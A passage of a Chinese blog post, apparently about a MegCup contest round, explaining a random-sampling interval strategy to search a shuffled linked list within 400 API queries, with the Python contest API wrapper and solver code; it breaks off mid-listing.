API交互题。你一共要对20个链表进行解题，对每个链表，要在400次查询内得到答案。答对其中的15个即为通过。为了节约你的时间，我们提供封装过的python API供下载。你可以在页面&quot;Python API下载&quot;处下载。</li></ul><p>相当于这个访问细节我们不需要考虑，于是我们只需要考虑我们如何减少访问的次数即可。由于是一个打乱过 的数组，但是链表却又是[排过序]，那么我们减少访问次数的方法最直观的想法就是【二分查找】。然而我们的数据确实打乱过，二分要求的却是<strong>要找到最大值</strong>和<strong>最小值</strong>，从中取值。</p><p>后来仔细想，二分查找的本质思想就是【在某个区间中查找我们需要的数值】，于是得到启发:<br>从区间取值  —&gt; 此时的链表是排好序的 -----&gt; 利用链表形成区间 -----&gt;用随机数取值从而形成大致的区间<br>于是我们<strong>随机选取50个数字</strong>，以这些数字作为下标来选取内容:<br><img src="/2017/03/26/MegCup-%E5%A4%8D%E8%B5%9B-%E5%88%92%E6%B0%B4/megcup-02.png" alt=""><br>然后将这些节点<strong>按value内容排序</strong>，从而形成一个个区间，然后让我们的target（需要查找的值）找到自己所处的区间，这样的话理想状态下就能够在 10000/50 +50 = 250 次中完成查找。<br><img src="/2017/03/26/MegCup-%E5%A4%8D%E8%B5%9B-%E5%88%92%E6%B0%B4/megcup-03.png" alt=""></p><p>这里附上代码和比赛api:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> math</span><br><span class="line"><span class="keyword">import</span> functools</span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="keyword">import</span> urllib.request <span class="keyword">as</span> urlrequest</span><br><span class="line"><span class="keyword">except</span> ImportError:</span><br><span class="line">    <span class="keyword">import</span> urllib <span class="keyword">as</span> urlrequest</span><br><span class="line"></span><br><span class="line"><span class="comment"># Your token here</span></span><br><span class="line">CONTEST_TOKEN = <span class="string">&#x27;b19fded89894146d66ec90e31f973b141619de13d776455d251fb8188ef962b7&#x27;</span></span><br><span class="line">PRACTICE_TOKEN = <span class="string">&#x27;7b269fe8818bf152d554677d31ed916141b379f13e09ce66d64149898dedf91b&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_token</span>(<span class="params">token_type</span>):</span><br><span class="line"><span class="keyword">if</span> token_type == <span class="string">&#x27;contest&#x27;</span>:</span><br><span class="line"><span class="keyword">return</span> CONTEST_TOKEN</span><br><span class="line"><span class="keyword">elif</span> token_type==<span class="string">&#x27;practice&#x27;</span>:</span><br><span class="line"><span class="keyword">return</span> PRACTICE_TOKEN</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_api_root</span>(<span class="params">token_type</span>):</span><br><span class="line"><span class="keyword">if</span> token_type == <span class="string">&#x27;contest&#x27;</span>:</span><br><span class="line"><span class="keyword">return</span> <span class="string">&#x27;http://47.93.114.77:13555/sequence&#x27;</span></span><br><span class="line"><span class="keyword">elif</span> token_type==<span class="string">&#x27;practice&#x27;</span>:</span><br><span class="line"><span class="keyword">return</span> <span class="string">&#x27;http://47.90.105.15:13555/sequence&#x27;</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">_check_resp</span>(<span class="params">resp</span>):</span><br><span class="line"><span class="keyword">if</span> resp[<span class="string">&#x27;status&#x27;</span>] == <span class="string">&#x27;succeed&#x27;</span>:</span><br><span class="line"><span class="keyword">return</span> <span class="literal">True</span>, resp[<span class="string">&#x27;data&#x27;</span>]</span><br><span class="line"><span class="keyword">return</span> <span class="literal">False</span>, resp</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_resp_deco</span>(<span class="params">func</span>):</span><br><span class="line"><span class="meta">@functools.wraps(<span class="params">func</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">wrapper</span>(<span class="params">*args, **kwargs</span>):</span><br><span class="line">ret = func(*args, **kwargs)</span><br><span class="line">succ, rst = _check_resp(ret)</span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> succ:</span><br><span class="line"><span class="keyword">raise</span> RuntimeError(rst)</span><br><span class="line"><span class="keyword">return</span> rst</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> wrapper</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Sequence</span>:</span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">API wrapper for a single problem sequence</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, token, seq_id, api_root</span>):</span><br><span class="line">self.token = token</span><br><span class="line">self.seq_id = seq_id</span><br><span class="line">self.api_root = api_root</span><br><span class="line"><span class="keyword">if</span> self.token==<span class="literal">None</span>:</span><br><span class="line">rnd=random.Random(seq_id*<span class="number">1357</span>)</span><br><span class="line">order=<span class="built_in">list</span>(<span class="built_in">range</span>(<span class="number">10000</span>))</span><br><span class="line">rnd.shuffle(order)</span><br><span class="line">self.nexts=[<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10000</span>)]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(order)):</span><br><span class="line"><span class="keyword">if</span> i!=<span class="built_in">len</span>(order)-<span class="number">1</span>:</span><br><span class="line">self.nexts[order[i]]=order[i+<span class="number">1</span>]</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">self.nexts[order[i]]=-<span class="number">1</span></span><br><span class="line">self.head=order[<span class="number">0</span>]</span><br><span class="line">numbers=<span class="built_in">sorted</span>([rnd.randrange(<span class="number">2</span>**<span class="number">31</span>-<span class="number">10001</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10000</span>)])</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(numbers)):</span><br><span class="line">numbers[i]+=i</span><br><span class="line">self.numbers=[<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10000</span>)]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(numbers)):</span><br><span class="line">self.numbers[order[i]]=numbers[i]</span><br><span class="line"><span class="keyword">if</span> rnd.choice([<span class="literal">True</span>,<span class="literal">False</span>]):</span><br><span class="line">self._target=rnd.choice(self.numbers)</span><br><span class="line">self.ground_truth=<span class="literal">True</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">self._target=rnd.randrange(<span class="number">2</span>**<span class="number">31</span>-<span class="number">10001</span>)</span><br><span class="line">self.ground_truth=self._target <span class="keyword">in</span> self.numbers</span><br><span class="line">self.query_count=<span class="number">0</span></span><br><span class="line">self.passed=<span class="literal">False</span></span><br><span class="line">self._finished=<span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@property</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">base_url</span>(<span class="params">self</span>):</span><br><span class="line"><span class="keyword">return</span> self.api_root + <span class="string">&#x27;/&#123;token&#125;/seq/&#123;seq_id&#125;&#x27;</span>.<span class="built_in">format</span>(</span><br><span class="line">token=self.token, seq_id=self.seq_id)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">_get</span>(<span class="params">self, suffix</span>):</span><br><span class="line">url = self.base_url + suffix</span><br><span class="line"><span class="comment"># print(&#x27;url: &#123;&#125;&#x27;.format(url))</span></span><br><span class="line">rst = json.loads(urlrequest.urlopen(url).read().decode(<span class="string">&#x27;utf8&#x27;</span>))</span><br><span class="line"><span class="comment"># print(&#x27;response: &#123;&#125;&#x27;.format(rst))</span></span><br><span class="line"><span class="keyword">return</span> rst</span><br><span class="line"></span><br><span class="line"><span class="meta">@check_resp_deco</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_status</span>(<span class="params">self</span>):</span><br><span class="line"><span class="keyword">if</span> self.token <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line"><span class="keyword">return</span> &#123;</span><br><span class="line"><span class="string">&#x27;status&#x27;</span>:<span class="string">&#x27;succeed&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;data&#x27;</span>:&#123;</span><br><span class="line"><span class="string">&#x27;count&#x27;</span>:self.query_count,</span><br><span class="line"><span class="string">&#x27;finished&#x27;</span>:self._finished,</span><br><span class="line"><span class="string">&#x27;length&#x27;</span>:<span class="number">10000</span>,</span><br><span class="line"><span class="string">&#x27;passed&#x27;</span>:(<span class="string">&#x27;unfinished&#x27;</span> <span class="keyword">if</span> <span class="keyword">not</span> self._finished <span class="keyword">else</span> self.passed),</span><br><span class="line"><span class="string">&#x27;target&#x27;</span>:self._target,</span><br><span class="line"><span class="string">&#x27;head_index&#x27;</span>:self.head,</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> self._get(<span class="string">&#x27;/status&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@property</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">length</span>(<span class="params">self</span>):</span><br><span class="line"><span class="keyword">return</span> self.get_status()[<span class="string">&#x27;length&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="meta">@property</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">target</span>(<span class="params">self</span>):</span><br><span class="line"><span class="string">&quot;&quot;&quot;target value to look up</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="keyword">return</span> self.get_status()[<span class="string">&#x27;target&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="meta">@property</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">head_index</span>(<span class="params">self</span>):</span><br><span class="line"><span class="string">&quot;&quot;&quot;head index of the linked list in the array</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="keyword">return</span> self.get_status()[<span class="string">&#x27;head_index&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="meta">@property</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">finished</span>(<span class="params">self</span>):</span><br><span class="line"><span class="keyword">return</span> self.get_status()[<span class="string">&#x27;finished&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="meta">@property</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">history</span>(<span class="params">self</span>):</span><br><span class="line"><span class="keyword">return</span> self.get_status()[<span class="string">&#x27;history&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="meta">@property</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">count</span>(<span class="params">self</span>):</span><br><span class="line"><span class="keyword">return</span> self.get_status()[<span class="string">&#x27;count&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="meta">@check_resp_deco</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">query</span>(<span class="params">self, index</span>):</span><br><span class="line"><span class="keyword">if</span> self.token==<span class="literal">None</span>:</span><br><span class="line"><span class="keyword">if</span> self._finished:</span><br><span class="line"><span class="keyword">return</span> &#123;</span><br><span class="line"><span class="string">&#x27;status&#x27;</span>:<span class="string">&#x27;error&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;data&#x27;</span>:&#123;</span><br><span class="line"><span class="string">&#x27;message&#x27;</span>:<span class="string">&quot;sequence already finished&quot;</span>,</span><br><span class="line"><span class="string">&#x27;valid&#x27;</span>:<span class="literal">False</span>,</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">elif</span> self.query_count&gt;=<span class="number">400</span>:</span><br><span class="line">self._finished=<span class="literal">True</span></span><br><span class="line"><span class="keyword">return</span> &#123;</span><br><span class="line"><span class="string">&#x27;status&#x27;</span>:<span class="string">&#x27;succeed&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;data&#x27;</span>:&#123;</span><br><span class="line"><span class="string">&#x27;message&#x27;</span>:<span class="string">&quot;number of queries exceeds limit (400), you&#x27;ve failed the test case&quot;</span>,</span><br><span class="line"><span class="string">&#x27;valid&#x27;</span>:<span class="literal">False</span>,</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">elif</span> index&lt;<span class="number">0</span> <span class="keyword">or</span> index&gt;=<span class="number">10000</span>:</span><br><span class="line"><span class="keyword">return</span> &#123;</span><br><span class="line"><span class="string">&#x27;status&#x27;</span>:<span class="string">&#x27;error&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;data&#x27;</span>:&#123;</span><br><span class="line"><span class="string">&#x27;message&#x27;</span>:<span class="string">&quot;invalid index&quot;</span>,</span><br><span class="line"><span class="string">&#x27;valid&#x27;</span>:<span class="literal">False</span>,</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">self.query_count+=<span class="number">1</span></span><br><span class="line"><span class="keyword">return</span> &#123;</span><br><span class="line"><span class="string">&#x27;status&#x27;</span>:<span class="string">&#x27;succeed&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;data&#x27;</span>:&#123;</span><br><span class="line"><span class="string">&#x27;index&#x27;</span>:index,</span><br><span class="line"><span class="string">&#x27;next&#x27;</span>:self.nexts[index],</span><br><span class="line"><span class="string">&#x27;valid&#x27;</span>:<span class="literal">True</span>,</span><br><span class="line"><span class="string">&#x27;value&#x27;</span>:self.numbers[index]</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">return</span> self._get(<span class="string">&#x27;/query/&#123;&#125;&#x27;</span>.<span class="built_in">format</span>(index))</span><br><span class="line"></span><br><span class="line"><span class="meta">@check_resp_deco</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">report</span>(<span class="params">self, result</span>):</span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">:param result: &#x27;exist&#x27; or &#x27;not_exist&#x27;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="keyword">if</span> self.token==<span class="literal">None</span>:</span><br><span class="line"><span class="keyword">if</span> self._finished:</span><br><span class="line"><span class="keyword">return</span> &#123;</span><br><span class="line"><span class="string">&#x27;status&#x27;</span>:<span class="string">&#x27;error&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;data&#x27;</span>:&#123;</span><br><span class="line"><span class="string">&#x27;message&#x27;</span>:<span class="string">&quot;sequence already finished&quot;</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">elif</span> result <span class="keyword">not</span> <span class="keyword">in</span> [<span class="string">&#x27;exist&#x27;</span>,<span class="string">&#x27;not_exist&#x27;</span>]:</span><br><span class="line"><span class="keyword">return</span> &#123;</span><br><span class="line"><span class="string">&#x27;status&#x27;</span>:<span class="string">&#x27;error&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;data&#x27;</span>:&#123;</span><br><span class="line"><span class="string">&#x27;index&#x27;</span>:<span class="string">&#x27;result must be either &quot;exist&quot; or &quot;not_exist&quot;&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">self._finished=<span class="literal">True</span></span><br><span class="line">self.passed=(result==<span class="string">&#x27;exist&#x27;</span>)==self.ground_truth</span><br><span class="line"><span class="keyword">return</span> &#123;</span><br><span class="line"><span class="string">&#x27;status&#x27;</span>:<span class="string">&#x27;succeed&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;data&#x27;</span>:&#123;</span><br><span class="line"><span class="string">&#x27;passed&#x27;</span>:self.passed</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> self._get(<span class="string">&#x27;/report/&#123;&#125;&#x27;</span>.<span class="built_in">format</span>(result))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">verbose_get</span>(<span class="params">url</span>):</span><br><span class="line"><span class="comment"># print(&#x27;url: &#123;&#125;&#x27;.format(url))</span></span><br><span class="line">rst = json.loads(urlrequest.urlopen(url).read().decode(<span class="string">&#x27;utf8&#x27;</span>))</span><br><span class="line"><span class="comment"># print(&#x27;response: &#123;&#125;&#x27;.format(rst))</span></span><br><span class="line"><span class="keyword">return</span> rst</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_overall_status</span>(<span class="params">api_root, token</span>):</span><br><span class="line">res = verbose_get(api_root + <span class="string">&#x27;/&#x27;</span> + token + <span class="string">&#x27;/status&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> res[<span class="string">&#x27;status&#x27;</span>] != <span class="string">&#x27;succeed&#x27;</span>:</span><br><span class="line"><span class="keyword">raise</span> RuntimeError(res)</span><br><span class="line"><span class="keyword">return</span> res[<span class="string">&#x27;data&#x27;</span>]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_pass_token</span>(<span class="params">api_root, token</span>):</span><br><span class="line"><span class="keyword">return</span> get_overall_status(api_root, token)[<span class="string">&#x27;pass_token&#x27;</span>]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">reset_token</span>(<span class="params">api_root, token</span>):</span><br><span class="line">res = verbose_get(api_root + <span class="string">&#x27;/&#x27;</span> + token + <span class="string">&#x27;/reset&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> res[<span class="string">&#x27;status&#x27;</span>] != <span class="string">&#x27;succeed&#x27;</span>:</span><br><span class="line"><span class="keyword">raise</span> RuntimeError(res)</span><br><span class="line"><span class="keyword">return</span> res[<span class="string">&#x27;data&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_value</span>(<span class="params">seq, begin_idx, end_idx, target</span>):</span><br><span class="line">cur_idx = begin_idx</span><br><span class="line"><span class="keyword">while</span> cur_idx != end_idx:</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">r = seq.query(cur_idx)</span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> r[<span class="string">&#x27;valid&#x27;</span>]:</span><br><span class="line"><span class="built_in">print</span>(r[<span class="string">&#x27;message&#x27;</span>])</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">v = r[<span class="string">&#x27;value&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> v == target:</span><br><span class="line">seq.report(<span class="string">&#x27;exist&#x27;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[!]&#123;&#125; : exist at &#123;&#125;&quot;</span>.<span class="built_in">format</span>(target, r))</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">cur_idx = r[<span class="string">&#x27;next&#x27;</span>]</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;sleeping....&quot;</span>)</span><br><span class="line">time.sleep(<span class="number">5</span>)</span><br><span class="line"><span class="keyword">continue</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">seq.report(<span class="string">&#x27;not_exist&#x27;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[!]%d : not exist &quot;</span>%(target))</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;sleeping....&quot;</span>)</span><br><span class="line">time.sleep(<span class="number">5</span>)</span><br><span class="line">seq.report(<span class="string">&#x27;not_exist&#x27;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[!]%d : not exist &quot;</span>%(target))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">confirm_section</span>(<span class="params">seq, target, length, head_index</span>):</span><br><span class="line">temp_num = [random.randint(<span class="number">0</span>, length - <span class="number">1</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">49</span>)]</span><br><span class="line">temp_num.append(head_index)</span><br><span class="line">ans = []</span><br><span class="line"><span class="keyword">for</span> each_idx <span class="keyword">in</span> temp_num:</span><br><span class="line">res = seq.query(each_idx)</span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> res[<span class="string">&#x27;valid&#x27;</span>]:</span><br><span class="line"><span class="built_in">print</span>(res[<span class="string">&#x27;message&#x27;</span>])</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">value = res[<span class="string">&#x27;value&#x27;</span>]</span><br><span class="line">ans.append((value, each_idx))</span><br><span class="line"></span><br><span class="line"><span class="comment"># input(&quot;please stop&quot;)</span></span><br><span class="line">ans = <span class="built_in">sorted</span>(ans)</span><br><span class="line"><span class="comment"># print()</span></span><br><span class="line"><span class="comment"># print(target)</span></span><br><span class="line"><span class="comment"># input(&quot;OK&quot;)</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="built_in">len</span>(ans)):</span><br><span class="line"><span class="keyword">if</span> ans[i-<span class="number">1</span>][<span class="number">0</span>]&lt;=target&lt;=ans[i][<span class="number">0</span>]:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;find begin:%d at %d end:%d at %d&quot;</span>%(ans[i-<span class="number">1</span>][<span class="number">0</span>], ans[i-<span class="number">1</span>][<span class="number">1</span>], ans[i][<span class="number">0</span>], ans[i][<span class="number">1</span>]))</span><br><span class="line"><span class="comment"># input(&quot;please stop&quot;)</span></span><br><span class="line"><span class="keyword">return</span> ans[i-<span class="number">1</span>][<span class="number">1</span>], ans[i][<span class="number">1</span>]</span><br><span class="line"><span class="keyword">return</span> ans[<span class="built_in">len</span>(ans)-<span class="number">1</span>][<span class="number">1</span>], -<span class="number">1</span></span><br><span 